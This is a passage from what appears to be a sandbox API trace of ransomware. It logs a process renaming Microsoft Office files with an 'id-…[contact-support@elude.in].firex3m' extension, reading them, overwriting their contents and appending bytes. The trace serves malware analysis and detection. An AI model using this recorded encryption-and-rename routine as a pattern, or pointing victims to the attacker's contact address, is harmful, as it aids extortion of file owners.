Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0243.611] GetProcessHeap () returned 0x630000 [0243.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712f718 [0243.612] GetProcessHeap () returned 0x630000 [0243.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0243.612] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.612] ReadFile (in: hFile=0x608, lpBuffer=0x712f718, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.899] GetProcessHeap () returned 0x630000 [0251.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0251.899] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.899] WriteFile (in: hFile=0x608, lpBuffer=0x719ec10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.900] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.900] WriteFile (in: hFile=0x608, lpBuffer=0x71aa00f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa00f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0251.900] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.900] WriteFile (in: hFile=0x608, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0251.900] CloseHandle (hObject=0x608) returned 1 [0251.900] GetProcessHeap () returned 0x630000 [0251.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0251.900] GetProcessHeap () returned 0x630000 [0251.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x712f718 | out: hHeap=0x630000) returned 1 [0251.900] GetProcessHeap () returned 0x630000 [0251.900] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0254.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0882a6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0882a6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c16cf9f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13962, dwReserved0=0xccc7496, dwReserved1=0x712f710, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d5500 [0254.743] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0254.743] Sleep (dwMilliseconds=0x1) [0254.759] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF", len=0x6e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF") returned 1 [0254.759] GetProcessHeap () returned 0x630000 [0254.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d6c) returned 0x6fe3bb0 [0254.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0255.162] CloseHandle (hObject=0x674) returned 1 [0255.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.163] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5040 [0255.164] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0255.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0255.164] GetProcessHeap () returned 0x630000 [0255.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x541) returned 0x720758 [0255.164] GetProcessHeap () returned 0x630000 [0255.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x541) returned 0x6719c8 [0255.164] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.164] ReadFile (in: hFile=0x674, lpBuffer=0x720758, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720758*, lpNumberOfBytesRead=0x3e3ff0c*=0x520, lpOverlapped=0x0) returned 1 [0255.452] GetProcessHeap () returned 0x630000 [0255.452] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0255.452] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.452] WriteFile (in: hFile=0x674, lpBuffer=0x6719c8*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6719c8*, lpNumberOfBytesWritten=0x3e3ff0c*=0x520, lpOverlapped=0x0) returned 1 [0255.452] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.452] WriteFile (in: hFile=0x674, lpBuffer=0x671ee7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x671ee7*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.452] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.452] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.452] CloseHandle (hObject=0x674) returned 1 [0255.453] GetProcessHeap () returned 0x630000 [0255.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6719c8 | out: hHeap=0x630000) returned 1 [0255.453] GetProcessHeap () returned 0x630000 [0255.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720758 | out: hHeap=0x630000) returned 1 [0255.453] GetProcessHeap () returned 0x630000 [0255.453] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0255.453] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e35e7f9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0xccc7496, dwReserved1=0x720750, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0255.453] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.453] Sleep (dwMilliseconds=0x1) [0255.578] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF", len=0x6e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF") returned 1 [0255.578] GetProcessHeap () returned 0x630000 [0255.578] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0255.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0255.578] CloseHandle (hObject=0x674) returned 1 [0255.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="NETWORK.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~1.FIR")) returned 0x6d4f80 [0255.587] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0255.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0255.587] GetProcessHeap () returned 0x630000 [0255.587] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0255.587] GetProcessHeap () returned 0x630000 [0255.587] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d81f8 [0255.587] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.588] ReadFile (in: hFile=0x674, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x3e3ff0c*=0x240, lpOverlapped=0x0) returned 1 [0255.591] GetProcessHeap () returned 0x630000 [0255.591] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0255.591] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.591] WriteFile (in: hFile=0x674, lpBuffer=0x6d81f8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81f8*, lpNumberOfBytesWritten=0x3e3ff0c*=0x240, lpOverlapped=0x0) returned 1 [0255.591] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.591] WriteFile (in: hFile=0x674, lpBuffer=0x6d8437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8437*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.591] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.591] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.591] CloseHandle (hObject=0x674) returned 1 [0255.591] GetProcessHeap () returned 0x630000 [0255.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d81f8 | out: hHeap=0x630000) returned 1 [0255.591] GetProcessHeap () returned 0x630000 [0255.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0255.592] GetProcessHeap () returned 0x630000 [0255.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0255.592] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e4b5a6e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x3e3fd20, dwReserved1=0x6d7550, cFileName="NETWORK.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~1.FIR")) returned 0x6d5340 [0255.592] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0255.592] Sleep (dwMilliseconds=0x1) [0255.610] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM", len=0x6e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM") returned 1 [0255.610] GetProcessHeap () returned 0x630000 [0255.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0255.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0255.612] CloseHandle (hObject=0x674) returned 1 [0255.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.614] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="NETWORK.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~2.FIR")) returned 0x6d4e40 [0255.614] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0255.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\network.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0255.614] GetProcessHeap () returned 0x630000 [0255.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0255.614] GetProcessHeap () returned 0x630000 [0255.614] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0255.615] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.615] ReadFile (in: hFile=0x674, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0262.623] GetProcessHeap () returned 0x630000 [0262.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0262.623] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.623] WriteFile (in: hFile=0x674, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0262.624] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.624] WriteFile (in: hFile=0x674, lpBuffer=0x70b306f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b306f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0262.624] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.624] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0262.624] CloseHandle (hObject=0x674) returned 1 [0262.625] GetProcessHeap () returned 0x630000 [0262.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0262.625] GetProcessHeap () returned 0x630000 [0262.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0262.625] GetProcessHeap () returned 0x630000 [0262.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0262.625] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\NETWORK.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x627cbd94, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc66d, dwReserved0=0xccc7496, dwReserved1=0x71c0040, cFileName="NETWORK.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~2.FIR")) returned 0x6d54c0 [0262.625] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0262.626] Sleep (dwMilliseconds=0x1) [0263.711] SysReAllocStringLen (in: 